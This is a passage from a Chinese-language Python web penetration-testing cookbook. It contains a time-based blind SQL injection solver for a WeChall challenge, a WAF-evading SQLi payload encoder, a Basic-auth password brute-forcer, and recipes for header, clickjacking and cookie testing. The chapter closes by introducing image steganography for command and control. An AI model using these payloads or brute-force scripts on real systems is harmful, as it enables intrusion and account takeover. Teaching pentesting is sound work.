  for line in reset.text.splitlines():
    if “last hash” in line:
      print “the old hash was:”+line.split(“ “)[20].strip(“.</li>”)
      print “the guessed hash:”+answer
      print “Attempts reset \n \n”
    for x in range(1, 33):
      payload = {'injection': '\'or IF (ord(substr(password, '+str(x)+', 1)) BETWEEN 48 AND 57,sleep((ord(substr(password, '+str(x)+', 1))- 48)/4),sleep((ord(substr(password, '+str(x)+', 1))- 55)/4));#', 'inject': 'Inject'}
      req = requests.post ('http://www.wechall.net/challenge/blind_lighter/ index.php?ajax=1', data=payload, cookies=cookies)
      responsetime = str(req.elapsed)[5]+str(req.elapsed)[6]+str(req.elapsed)[8]+ str(req.elapsed)[9]
      accum = accum + int(responsetime)
      benchmark = int(15)
      benchmarked = int(responsetime) - benchmark
      rounded = str(round_down(benchmarked, 25))
      if rounded in values:
        a = str(values[rounded])
        times.append(a)
        answer = ''.join(times)
      else:
        print rounded
        rounded = str(“375”)
        a = str(values[rounded])
        times.append(a)
        answer = ''.join(times)
  submission = {'thehash': str(answer), 'mybutton': 'Enter'}
  submit = requests.post('http://www.wechall.net/challenge/blind_lighter/ index.php', data=submission, cookies=cookies)
  print “Attempt: “+str(y)
  print “Time taken: “+str(accum)
  y += 1
  for line in submit.text.splitlines():
    if “slow” in line:
      print line.strip(“<li>”)
    elif “wrong” in line:
      print line.strip(“<li>”)
  if “wrong” not in submit.text:
    print “possible success!”
    #subprocess.Popen([“beep”], shell=True)

编码有效载荷

阻止 SQL 注入的一种方法是通过服务器端文本操作或Web 应用程序防火墙WAFs)进行过滤。这些系统针对与攻击常见相关的特定短语,如SELECTANDOR和空格。这些可以通过用不太明显的值替换这些值来轻松规避,从而突显了黑名单的一般问题。

我们将创建一个脚本,该脚本接受攻击字符串,查找潜在的转义字符串,并提供替代的攻击字符串。

如何做…

以下是我们的脚本:

subs = []
values = {“ “: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”}
originalstring = “' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#”
secondoriginalstring = originalstring
for key, value in values.iteritems():
  if key in originalstring:
    newstring = originalstring.replace(key, value)
    subs.append(newstring)
  if key in secondoriginalstring:
    secondoriginalstring = secondoriginalstring.replace(key, value)
    subs.append(secondoriginalstring)

subset = set(subs)
for line in subs:
  print line

以下截图是使用此脚本时产生的输出的示例:

如何做…

它是如何工作的…

这个脚本不需要任何库!真是令人震惊!我们为即将创建的值创建一个空列表,并创建一个意图添加的替代值的字典。我放了五个示例值。空格和%20通常被 WAFs 转义,因为 URL 通常不包括空格,除非请求了不当的内容。

更具体地说,调整过的系统可能会避开 SQL 特定词语,比如SELECTANDOR。这些都是非常基本的值,可以根据需要添加或替换:

subs = []
values = {“ “: “%50”, “%20”: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”}

我已经将原始字符串硬编码为示例,这样我们就可以看到它是如何工作的。我已经包含了一个包含上述所有值的有效 SQLi 字符串,以证明它的用法:

originalstring = “'%20UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#”

我们创建原始字符串的第二个版本,以便我们可以为每个替换创建一个累积结果和一个独立结果:

secondoriginalstring = originalstring

我们依次取每个字典项,并将每个键和值分配给参数键和值:

for key, value in values.iteritems():

我们查看初始术语是否存在,如果存在,则用键值替换它。例如,如果存在空格,我们将用%50替换它,这是 URL 编码的制表符字符:

if key in originalstring:
    newstring = originalstring.replace(key, value)

这个字符串,在每次迭代时,都会重置为我们在脚本开头设置的原始值。然后我们将该字符串添加到之前创建的列表中:

subs.append(newstring)

我们执行与之前相同的操作,使用迭代字符串来创建一个多次编码的版本:

if key in secondoriginalstring:
    secondoriginalstring = secondoriginalstring.replace(key, value)
    subs.append(secondoriginalstring)

最后,我们通过将其转换为集合使列表变得唯一,并逐行将其返回给用户:

subset = set(subs)
for line in subs:
  print line

还有更多…

同样,这可以成为一个内部函数,而不是作为独立脚本使用。也可以通过使用以下脚本来实现:

def encoder(string):

subs = []
values = {“ “: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”}
originalstring = “' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin'”
secondoriginalstring = originalstring
for key, value in values.iteritems():
  if key in originalstring:
    newstring = originalstring.replace(key, value)
    subs.append(newstring)
  if key in secondoriginalstring:
    secondoriginalstring = secondoriginalstring.replace(key, value)
    subs.append(secondoriginalstring)

subset = set(subs)
return subset

第五章:网页头部操作

在本章中,我们将涵盖以下主题:

  • 测试 HTTP 方法

  • 通过 HTTP 标头对服务器进行指纹识别

  • 测试不安全的标头

  • 通过授权标头进行暴力登录

  • 测试点击劫持漏洞

  • 通过欺骗用户代理标识替代站点

  • 测试不安全的 cookie 标志

  • 通过 cookie 注入进行会话固定

介绍

渗透测试 Web 服务器的一个关键领域是深入研究服务器处理请求和提供响应的能力。如果你正在渗透测试标准的 Web 服务器部署,例如 Apache 或 Nginx,那么你将希望集中精力打破已部署的配置并枚举/操作站点的内容。如果你正在渗透测试自定义的 Web 服务器,那么最好随身携带 HTTP RFC 的副本(可在tools.ietf.org/html/rfc7231获取),并额外测试 Web 服务器如何处理损坏的数据包或意外请求。

本章将重点介绍创建配方,以便以揭示底层 Web 技术并解析响应以突出显示常见问题或进一步测试的关键领域的方式操作请求。

测试 HTTP 方法

测试 Web 服务器的一个很好的起点是在HTTP请求的开始处,通过枚举HTTP方法。HTTP方法由客户端发送,并指示 Web 服务器客户端期望的操作类型。

根据 RFC 7231 的规定,所有 Web 服务器必须支持GETHEAD方法,所有其他方法都是可选的。由于除了最初的GETHEAD方法之外还有很多常见的方法,这使得它成为测试的一个重点,因为每个服务器都将被编写以以不同的方式处理请求和发送响应。

一个有趣的HTTP方法是TRACE,因为其可用性导致跨站点跟踪XST)。TRACE 是一个回环测试,基本上会将其接收到的请求回显给用户。这意味着它可以用于跨站点脚本攻击(在这种情况下称为跨站点跟踪)。为此,攻击者让受害者发送一个带有 JavaScript 有效载荷的TRACE请求,然后在返回时在本地执行。现代浏览器现在内置了防御措施,通过阻止通过 JavaScript 发出的 TRACE 请求来保护用户免受这些攻击,因此这种技术现在只对旧浏览器有效,或者在利用其他技术(如 Java 或 Flash)时才有效。

如何做…

在这个配方中,我们将连接到目标 Web 服务器,并尝试枚举各种可用的HTTP方法。我们还将寻找TRACE方法的存在,并在可能的情况下进行突出显示:

import requests

verbs = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE', 'TEST']
for verb in verbs:
    req = requests.request(verb, 'http://packtpub.com')
    print verb, req.status_code, req.reason
    if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
      print 'Possible Cross Site Tracing vulnerability found'

工作原理…

第一行导入了 requests 库;在本节中将经常使用它:

import requests

接下来创建了一个我们将发送的HTTP方法数组。请注意标准方法——GETPOSTPUTHEADDELETEOPTIONS——后面是一个非标准的TEST方法。这是为了检查服务器如何处理它不期望的输入。一些 Web 框架将非标准动词视为GET请求并相应地响应。这可以是绕过防火墙的一种好方法,因为它们可能有一个严格的方法列表来匹配,并且不处理来自意外方法的请求:

verbs = ['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'OPTIONS', 'TRACE', 'CONNECT', 'TEST']

接下来是脚本的主循环。这部分发送 HTTP 数据包;在这种情况下,发送到目标http://packtpub.com Web 服务器。它打印出方法和响应状态代码和原因:

for verb in verbs:
    req = requests.request(verb, 'http://packtpub.com')
    print verb, req.status_code, req.reason

最后,有一段代码专门用于测试 XST:

if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
      print 'Possible Cross Site Tracing vulnerability found'

此代码在发送TRACE调用时检查服务器响应,检查响应是否包含请求文本。

运行脚本会得到以下输出:

工作原理…

在这里,我们可以看到 Web 服务器正确处理了前五个请求,对所有这些方法返回200 OK响应。TRACE响应返回405 Not Allowed,显示这已被 Web 服务器明确拒绝。这里目标服务器的一个有趣之处是,它对TEST方法返回200 OK响应。这意味着服务器将TEST请求处理为不同的方法;例如,它将其视为GET请求。正如前面提到的,这是绕过一些防火墙的好方法,因为它们可能不会处理意外的TEST方法。

还有更多...

在这个示例中,我们展示了如何测试目标 Web 服务器的 XST 漏洞,并测试它如何处理各种HTTP方法。这个脚本可以通过扩展示例HTTP方法数组来进一步扩展,以包括各种其他有效和无效的数据值;也许您可以尝试发送 Unicode 数据来测试 Web 服务器如何处理意外的字符集,或者发送一个非常长的 HTTP 方法来测试自定义 Web 服务器中的缓冲区溢出。这些数据的一个很好的资源是回到第三章中的模糊脚本,漏洞识别,例如,使用来自 Mozilla 的 FuzzDB 的有效载荷。

通过 HTTP 头指纹识别服务器

我们将集中关注的 HTTP 协议的下一部分是 HTTP 头部。这些头部在 Web 服务器的请求和响应中都可以找到,它们在客户端和服务器之间携带额外的信息。任何带有额外数据的区域都是解析服务器信息和寻找潜在问题的好地方。

如何做...

以下是一个简单的抓取头部的脚本,它将解析响应头,试图识别正在使用的 Web 服务器技术:

import requests

req = requests.get('http://packtpub.com')
headers = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code']

for header in headers:
    try:
  result = req.headers[header]
        print '%s: %s' % (header, result)
    except Exception, error:
        print '%s: Not found' % header

它是如何工作的...

脚本的第一部分通过熟悉的requests库向目标 Web 服务器发出简单的GET请求:

req = requests.get('http://packtpub.com')

接下来,我们生成一个要查找的头部数组:

headers = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country- Code']

在这个脚本中,我们在主要代码周围使用了 try/except 块:

try:
  result = req.headers[header]
        print '%s: %s' % (header, result)
except:
print '%s: Not found' % header

我们需要这种错误处理,因为头部不是强制的;因此,如果我们尝试从数组中检索不存在的头部的键,Python 将引发异常。为了克服这个问题,如果响应中指定的头部不存在,我们只需打印Not found

以下是针对此示例中目标服务器运行脚本的输出的屏幕截图:

它是如何工作的...

第一行输出显示了Server头,显示了底层 Web 服务器技术。这是查找易受攻击的 Web 服务器版本的好地方,但请注意,可能可以禁用并伪装这个头部,因此不要仅仅依赖这一点来猜测目标服务器平台。

Date头包含有用的信息,可以用来猜测服务器的位置。例如,您可以计算相对于您的本地时区的时间差,以粗略地指示它的位置。

Via头部被代理服务器(出站和入站)使用,并将显示代理名称,在本例中为1.1 varnish

X-Powered-By是常见 Web 框架中使用的标准头部,例如 PHP。默认的 PHP 安装将以 PHP 和版本号作出响应,使其成为另一个很好的侦察目标。

最后一行打印X-Country-Code短代码,另一个有用的信息,用于确定服务器的位置。

请注意,所有这些头部都可以在服务器端设置或覆盖,因此不要仅仅依赖这些信息,并谨慎地解析来自远程服务器的数据;即使这些头部也可能包含恶意值。

还有更多...

该脚本当前包含服务器的版本,但可以进一步扩展以查询在线 CVE 数据库,例如cve.mitre.org/cve/,查找影响 Web 服务器版本的漏洞。

还可以使用另一种技术来增加指纹识别的准确性,即检查响应标头的顺序。例如,Microsoft IIS 在Server标头之前返回Date标头,而 Apache 先返回Date然后是Server。这种略有不同的顺序可用于验证您可能已经从此示例中的标头值推断出的任何服务器版本。

测试不安全的标头

我们之前已经看到 HTTP 响应可以成为枚举底层 Web 框架信息的重要来源。现在,我们将利用HTTP标头信息将其提升到下一个级别,以测试不安全的 Web 服务器配置并标记可能导致漏洞的任何内容。

准备工作

对于此示例,您需要一个要测试不安全标头的 URL 列表。将这些保存到名为urls.txt的文本文件中,每个 URL 占一行,与您的示例一起。

操作步骤

以下代码将突出显示从每个目标 URL 接收的任何易受攻击的标头:

import requests

urls = open("urls.txt", "r")
for url in urls:
  url = url.strip()
  req = requests.get(url)
  print url, 'report:'

  try:
    xssprotect = req.headers['X-XSS-Protection']
    if  xssprotect != '1; mode=block':
      print 'X-XSS-Protection not set properly, XSS may be possible:', xssprotect
  except:
    print 'X-XSS-Protection not set, XSS may be possible'

  try:
    contenttype = req.headers['X-Content-Type-Options']
    if contenttype != 'nosniff':
      print 'X-Content-Type-Options not set properly:',  contenttype
  except:
    print 'X-Content-Type-Options not set'

  try:
    hsts = req.headers['Strict-Transport-Security']
  except:
    print 'HSTS header not set, MITM attacks may be possible'

  try:
    csp = req.headers['Content-Security-Policy']
    print 'Content-Security-Policy set:', csp
  except:
    print 'Content-Security-Policy missing'

  print '----'

工作原理

此示例配置为测试许多站点,因此第一部分从文本文件中读取 URL 并打印出当前目标:

urls = open("urls.txt", "r")
for url in urls:
  url = url.strip()
  req = requests.get(url)
  print url, 'report:'

然后在 try/except 块中测试每个标头。这类似于先前的示例,因为标头不是强制性的,所以需要这种编码风格。如果我们尝试引用不存在的标头的键,Python 将引发异常。

第一个X-XSS-Protection标头应设置为1; mode=block以在浏览器中启用 XSS 保护。如果标头未明确匹配该格式或未设置,则脚本将打印警告:

try:
    xssprotect = req.headers['X-XSS-Protection']
    if  'xssprotect' != '1; mode=block':
      print 'X-XSS-Protection not set properly, XSS may be possible'
  except:
    print 'X-XSS-Protection not set, XSS may be possible'

下一个X-Content-Type-Options标头应设置为nosniff,以防止 MIME 类型混淆。 MIME 类型指定目标资源的内容,例如,text/plain 表示远程资源应为文本文件。一些 Web 浏览器会尝试猜测资源的 MIME 类型,如果未指定,则可能导致跨站脚本攻击;如果资源包含恶意脚本,但仅指示为纯文本文件,则可能绕过内容过滤器并执行。如果未设置标头或响应未明确匹配到nosniff,此检查将打印警告:

try:
    contenttype = req.headers['X-Content-Type-Options']
    if contenttype != 'nosniff':
      print 'X-Content-Type-Options not set properly'
  except:
    print 'X-Content-Type-Options not set'

接下来的Strict-Transport-Security标头用于强制通过 HTTPS 通道进行通信,以防止中间人攻击。缺少此标头意味着通信通道可能会被中间人攻击降级为 HTTP:

  try:
    hsts = req.headers['Strict-Transport-Security']
  except:
    print 'HSTS header not set, MITM attacks may be possible'

最终的Content-Security-Policy标头用于限制可以在网页上加载的资源类型,例如,限制 JavaScript 可以运行的位置:

  try:
    csp = req.headers['Content-Security-Policy']
    print 'Content-Security-Policy set:', csp
  except:
    print 'Content-Security-Policy missing'

示例的输出显示在以下屏幕截图中:

工作原理...

通过 Authorization 标头暴力破解登录

许多网站使用 HTTP 基本身份验证来限制对内容的访问。这在嵌入式设备(如路由器)中尤其普遍。Python 的requests库内置支持基本身份验证,可以轻松创建身份验证暴力破解脚本的方法。

准备工作

在创建此示例之前,您需要一个密码列表来尝试进行身份验证。创建一个名为passwords.txt的本地文本文件,每个密码占一行。查看第二章中的在线资源中的密码列表,了解如何暴力破解密码。此外,花一些时间来勘察目标服务器,因为您需要知道它对失败的登录请求做出何种响应,以便我们可以区分暴力破解是否成功。

如何做...

以下代码将尝试通过基本身份验证暴力破解网站的入口:

import requests
from requests.auth import HTTPBasicAuth

with open('passwords.txt') as passwords:
    for password in passwords.readlines():
        password = password.strip()
        req = requests.get('http://packtpub.com/admin_login.html', auth=HTTPBasicAuth('admin', password))
        if req.status_code == 401:
            print password, 'failed.'
        elif req.status_code == 200:
            print 'Login successful, password:', password
            break
        else:
            print 'Error occurred with', password
            break

工作原理...

这个脚本的第一部分逐行读取密码列表,然后发送一个 HTTP GET请求到登录页面:

req = requests.get('http://packtpub.com/admin_login.html', auth=HTTPBasicAuth('admin', password))

这个请求有一个额外的auth参数,其中包含了用户名admin和从passwords.txt文件中读取的password。当发送带有基本Authorization头的 HTTP 请求时,原始数据看起来像下面这样:

工作原理...

请注意,在Authorization头中,数据以编码格式发送,比如YWRtaW46cGFzc3dvcmQx。这是用户名和密码以base64编码形式的username:passwordrequests.auth.HTTPBasicAuth类只是为我们做了这个转换。这可以通过使用base64库来验证,如下面的截图所示:

工作原理...

了解这些信息意味着你仍然可以让脚本在没有外部请求库的情况下运行;相反,它使用base64默认库手动创建Authorization头。

以下是暴力破解脚本运行的截图:

工作原理...

还有更多...

在这个例子中,我们在授权请求中使用了一个固定的用户名 admin,因为这是已知的。如果这是未知的,你可以创建一个username.txt文本文件,并循环遍历每一行,就像我们对密码文本文件所做的那样。请注意,这是一个更慢的过程,并且会创建大量的 HTTP 请求到目标站点,这很可能会使你被列入黑名单,除非你实现速率限制。

另请参阅

查看第二章中的检查用户名有效性暴力破解用户名的示例,以获取有关用户名和密码组合的更多想法。

测试点击劫持漏洞

点击劫持是一种用于欺骗用户在不知情的情况下在目标站点上执行操作的技术。这是通过恶意用户在合法网站上放置一个隐藏的覆盖层来实现的,因此当受害者认为他们正在与合法网站进行交互时,实际上他们点击的是隐藏在顶部覆盖层上的隐藏项目。这种攻击可以被设计成使受害者在不知情的情况下输入凭据或点击和拖动项目。这些攻击可以用于针对银行网站,以诱使受害者转账,也常见于社交网络站点,以试图获得更多的关注或点赞,尽管现在大多数站点都有了防御措施。

如何做...

网站可以防止点击劫持的两种主要方法:一种是设置X-FRAME-OPTIONS头,告诉浏览器如果它在一个框架内就不要渲染该站点,另一种是使用 JavaScript 来跳出框架(通常称为破框)。这个示例将向你展示如何检测这两种防御,以便你可以识别那些没有这两种防御的网站。

import requests
from ghost import Ghost
import logging
import os

URL = 'http://packtpub.com'
req = requests.get(URL)

try:
    xframe = req.headers['x-frame-options']
    print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible'
except:
    print 'X-FRAME-OPTIONS missing'

print 'Attempting clickjacking...'

html = '''
<html>
<body>
<iframe src="img/'''+URL+'''" height='600px' width='800px'></iframe>
</body>
</html>'''

html_filename = 'clickjack.html'
f = open(html_filename, 'w+')
f.write(html)
f.close()

log_filename = 'test.log'
fh = logging.FileHandler(log_filename)
ghost = Ghost(log_level=logging.INFO, log_handler=fh)
page, resources = ghost.open(html_filename)

l = open(log_filename, 'r')
if 'forbidden by X-Frame-Options.' in l.read():
    print 'Clickjacking mitigated via X-FRAME-OPTIONS'
else:
    href = ghost.evaluate('document.location.href')[0]
    if html_filename not in href:
        print 'Frame busting detected'
    else:
        print 'Frame busting not detected, page is likely vulnerable to clickjacking'
l.close()

logging.getLogger('ghost').handlers[0].close()
os.unlink(log_filename)
os.unlink(html_filename)

工作原理...

这个脚本的第一部分检查了第一个点击劫持防御,即X-FRAME-OPTIONS头,方式与前面的示例类似。X-FRAME-OPTIONS有三个值:DENYSAMEORIGINALLOW-FROM <url>。每个值都提供了不同级别的点击劫持保护,因此,在这个示例中,我们尝试检测是否缺少任何一个:

try:
    xframe = req.headers['x-frame-options']
    print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible'
except:
    print 'X-FRAME-OPTIONS missing'

代码的下一部分创建了一个本地的 html clickjack.html文件,其中包含了一些非常简单的 HTML 代码,并将它们保存到一个本地的clickjack.html文件中:

html = '''
<html>
<body>
<iframe src="img/'''+URL+'''" height='600px' width='800px'></iframe>
</body>
</html>'''

html_filename = 'clickjack.html'
f = open(html_filename, 'w+')
f.write(html)
f.close()

这段 HTML 代码创建了一个 iframe,其源设置为目标网站。HTML 文件将被加载到 ghost 中,以尝试渲染网站并检测目标站点是否加载在 iframe 中。Ghost 是一个 WebKit 渲染引擎,所以它应该类似于在 Chrome 浏览器中加载站点时会发生的情况。

代码的下一部分设置 ghost 日志记录以重定向到本地日志文件(默认情况下是打印到stdout):

log_filename = 'test.log'
fh = logging.FileHandler(log_filename)
ghost = Ghost(log_level=logging.INFO, log_handler=fh)

接下来的一行在 ghost 中呈现本地 HTML 页面,并包含目标页面请求的任何额外资源:

page, resources = ghost.open(html_filename)

然后我们打开日志文件并检查X-FRAME-OPTIONS错误:

l = open(log_filename, 'r')
if 'forbidden by X-Frame-Options.' in l.read():
    print 'Clickjacking mitigated via X-FRAME-OPTIONS'

脚本的下一部分检查了框架破坏;如果 iframe 中有 JavaScript 代码来检测它正在被加载到 iframe 中,它将会跳出框架,导致页面重定向到目标网站。我们可以通过在 ghost 中执行 JavaScript 并读取当前位置来检测这一点:

href = ghost.evaluate('document.location.href')[0]

代码的最后部分是清理,关闭任何打开的文件或任何打开的日志处理程序,并删除临时 HTML 和日志文件:

l.close()

logging.getLogger('ghost').handlers[0].close()
os.unlink(log_filename)
os.unlink(html_filename)

如果脚本输出未检测到框架破坏,页面可能容易受到 clickjacking 攻击,那么目标网站可以在隐藏的 iframe 中呈现,并用于 clickjacking 攻击。下面的截图显示了一个易受攻击网站的日志示例:

它是如何工作的...

如果你在 web 浏览器中查看生成的 clickjack.html 文件,它将确认目标 web 服务器可以在 iframe 中加载,因此容易受到 clickjacking 的攻击,如下面的截图所示:

它是如何工作的...

通过欺骗用户代理标识替代站点

一些网站限制访问或根据您用于查看它的浏览器或设备显示不同的内容。例如,一个网站可能会为从 iPhone 浏览的用户显示移动定向主题,或者为使用旧版本且容易受攻击的 Internet Explorer 的用户显示警告。这可能是发现漏洞的好地方,因为这些可能没有经过严格测试,甚至被开发人员遗忘了。

如何做...

在这个示例中,我们将向您展示如何欺骗您的用户代理,以便您看起来像是在使用不同的设备,以尝试发现替代内容:

import requests
import hashlib

user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36',
'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4',
'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)',
'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }

responses = {}
for name, agent in user_agents.items():
  headers = {'User-Agent' : agent}
  req = requests.get('http://packtpub.com', headers=headers)
  responses[name] = req

md5s = {}
for name, response in responses.items():
  md5s[name] = hashlib.md5(response.text.encode('utf- 8')).hexdigest()

for name,md5 in md5s.iteritems():
    if name != 'Chrome on Windows 8.1':
        if md5 != md5s['Chrome on Windows 8.1']:
            print name, 'differs from baseline'
        else:
            print 'No alternative site found via User-Agent spoofing:', md5

它是如何工作的...

我们首先设置了一个用户代理数组,为每个键分配了友好的名称:

user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36',
'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4',
'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)',
'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }

这里有四个用户代理:Windows 8.1 上的 Chrome,iOS 上的 Safari,Windows XP 上的 Internet Explorer 6,最后是 Googlebot。这提供了各种浏览器和示例,你会期望在每个请求后面找到不同的内容。列表中的最后一个用户代理,Googlebot,是 Google 在为他们的搜索引擎爬取数据时发送的爬虫。

代码的下一部分循环遍历每个用户代理,并在请求中设置User-Agent标头:

responses = {}
for name, agent in user_agents.items():
  headers = {'User-Agent' : agent}

接下来的部分发送 HTTP 请求,使用熟悉的 requests 库,并将每个响应存储在响应数组中,使用友好的用户名作为键:

req = requests.get('http://www.google.com', headers=headers)
  responses[name] = req

代码的下一部分创建了一个md5s数组,然后遍历响应,抓取response.text文件。从中生成响应内容的md5哈希,并将其存储到md5s数组中:

md5s = {}
for name, response in responses.items():
  md5s[name] = hashlib.md5(response.text.encode('utf- 8')).hexdigest()

代码的最后部分遍历md5s数组,并将每个项目与原始基线请求进行比较,在这个示例中是Chrome on Windows 8.1

for name,md5 in md5s.iteritems():
    if name != 'Chrome on Windows 8.1':
        if md5 != md5s['Chrome on Windows 8.1']:
            print name, 'differs from baseline'
        else:
            print 'No alternative site found via User-Agent spoofing:', md5

我们对响应文本进行了哈希处理,以使生成的数组保持较小,从而减少内存占用。你可以通过其内容直接比较每个响应,但这样会更慢,并且会使用更多内存来处理。

如果来自 Web 服务器的响应与 Chrome on Windows 8.1 基线响应不同,脚本将打印出用户代理友好的名称,如下面的截图所示:

它是如何工作的...

另请参阅

这个方法是基于能够操纵 HTTP 请求中的标头。查看第三章中的基于标头的跨站脚本Shellshock 检查部分,了解更多可以传递到标头中的数据示例。

测试不安全的 cookie 标志

HTTP 协议的下一个感兴趣的主题是 cookie。由于 HTTP 是一个无状态协议,cookie 提供了一种在客户端存储持久数据的方式。这允许 Web 服务器通过将数据持久化到 cookie 中来进行会话管理,以便在会话期间保持数据。

Cookies 是通过 HTTP 响应中的Set-Cookie头从 Web 服务器设置的。然后它们通过Cookie头发送回服务器。这个教程将介绍审核网站设置的 cookie 的方法,以验证它们是否具有安全属性。

如何做…

以下是一个枚举目标站点上设置的每个 cookie 并标记任何存在的不安全设置的教程:

import requests

req = requests.get('http://www.packtpub.com')
for cookie in req.cookies:
  print 'Name:', cookie.name
  print 'Value:', cookie.value

  if not cookie.secure:
    cookie.secure = '\x1b[31mFalse\x1b[39;49m'
  print 'Secure:', cookie.secure

  if 'httponly' in cookie._rest.keys():
    cookie.httponly = 'True'
  else:
    cookie.httponly = '\x1b[31mFalse\x1b[39;49m'
  print 'HTTPOnly:', cookie.httponly

  if cookie.domain_initial_dot:
    cookie.domain_initial_dot = '\x1b[31mTrue\x1b[39;49m'
  print 'Loosly defined domain:', cookie.domain_initial_dot, '\n'

工作原理…

我们枚举从 Web 服务器发送的每个 cookie 并检查它们的属性。前两个属性是 cookie 的namevalue

  print 'Name:', cookie.name
  print 'Value:', cookie.value

然后我们检查 cookie 的secure标志:

if not cookie.secure:
    cookie.secure = '\x1b[31mFalse\x1b[39;49m'
  print 'Secure:', cookie.secure

Secure标志表示 cookie 只能通过 HTTPS 发送。对于用于身份验证的 cookie 来说,这是很好的,因为这意味着如果有人监视开放网络流量,它们无法被窃听。

还要注意\x1b[31m代码是一种特殊的 ANSI 转义代码,用于更改终端字体的颜色。在这里,我们用红色突出显示了不安全的标头。\x1b[39;49m代码将颜色重置为默认值。请参阅维基百科关于 ANSI 的更多信息en.wikipedia.org/wiki/ANSI_escape_code

下一个检查是httponly属性:

  if 'httponly' in cookie._rest.keys():
    cookie.httponly = 'True'
  else:
    cookie.httponly = '\x1b31mFalse\x1b[39;49m'
  print 'HTTPOnly:', cookie.httponly

如果设置为True,这意味着 JavaScript 无法访问 cookie 的内容,它被发送到浏览器,只能被浏览器读取。这用于防止 XSS 攻击,因此在渗透测试时,缺少此 cookie 属性是一件好事。

最后,我们检查 cookie 中的域,看它是否以点开头:

if cookie.domain_initial_dot:
    cookie.domain_initial_dot = '\x1b[31mTrue\x1b[39;49m'
  print 'Loosly defined domain:', cookie.domain_initial_dot, '\n'

如果 cookie 的domain属性以点开头,表示 cookie 用于所有子域,因此可能在预期范围之外可见。

以下截图显示了目标网站中不安全标志以红色突出显示:

![工作原理…

还有更多…

我们之前已经看到如何通过提取标头来枚举用于提供网站的技术。某些框架还在 cookie 中存储信息,例如,PHP 创建一个名为PHPSESSION的 cookie,用于存储会话数据。因此,这些数据的存在表明使用了 PHP,然后可以进一步枚举服务器以尝试测试其是否存在已知的 PHP 漏洞。

通过 cookie 注入进行会话固定

会话固定是一种依赖于会话 ID 的漏洞。首先,攻击者必须能够强制受害者使用特定的会话 ID,方法是在其客户端上设置一个 cookie 或已经知道受害者会话 ID 的值。然后,当受害者进行身份验证时,cookie 在客户端保持不变。因此,攻击者知道会话 ID,现在可以访问受害者的会话。

准备工作

这个教程将需要对目标站点执行一些初始的侦察,以确定它是如何进行身份验证的,例如通过POST请求中的数据或通过基本的auth。它还将需要一个有效的用户帐户进行身份验证。

如何做…

这个教程将测试通过 cookie 注入进行会话固定:

import requests

url = 'http://www.packtpub.com/'
req = requests.get(url)
if req.cookies:
  print 'Initial cookie state:', req.cookies
  cookie_req = requests.post(url, cookies=req.cookies, auth=('user1', 'supersecretpasswordhere'))
  print 'Authenticated cookie state:', cookie_req.cookies

  if req.cookies == cookie_req.cookies:
      print 'Session fixation vulnerability identified'

工作原理…

这个脚本有两个阶段;第一步是向目标网站发送初始的get请求,然后显示接收到的 cookie:

req = requests.get(url)
print 'Initial cookie state:', req.cookies

脚本的第二阶段向目标站点发送另一个请求,这次使用有效的用户凭据进行身份验证:

cookie_req = requests.post(url, cookies=req.cookies, auth=('user1', 'supersecretpasswordhere'))

请注意,这里我们将请求 cookie 设置为之前在初始GET请求中收到的 cookie。

脚本最后通过打印最终的 cookie 状态并在经过身份验证的 cookie 与初始请求中发送的 cookie 匹配时打印警告来结束:

print 'Authenticated cookie state:', cookie_req.cookies

if req.cookies == cookie_req.cookies:
  print 'Session fixation vulnerability identified'

还有更多...

Cookie 是另一个由用户控制并由 Web 服务器解析的数据源。与标头类似,这使得它成为测试 XSS 漏洞的绝佳位置。尝试向 cookie 数据添加 XSS 负载并将其发送到目标服务器,以查看它如何处理数据。请记住,cookie 可能会从 Web 服务器后端读取,也可能会被打印到日志中,因此可能会针对日志读取器进行 XSS 攻击(例如,如果后来由管理员读取)。

第六章:图像分析和操作

在本章中,我们将涵盖以下配方:

  • 使用 LSB 隐写术隐藏消息

  • 提取隐藏在 LSB 中的消息

  • 在图像中隐藏文本

  • 从图像中提取文本

  • 通过使用隐写术进行命令和控制

介绍

隐写术是将数据隐藏在明文中的艺术。如果您想掩盖自己的踪迹,这可能会很有用。我们可以使用隐写术来规避防火墙和 IDS 的检测。在本章中,我们将看一些 Python 如何帮助我们在图像中隐藏数据的方法。我们将通过使用最低有效位LSB)来隐藏我们的数据,然后我们将创建一个自定义的隐写术函数。本章的最终目标将是创建一个命令和控制系统,该系统使用我们特制的图像在服务器和客户端之间传输数据。

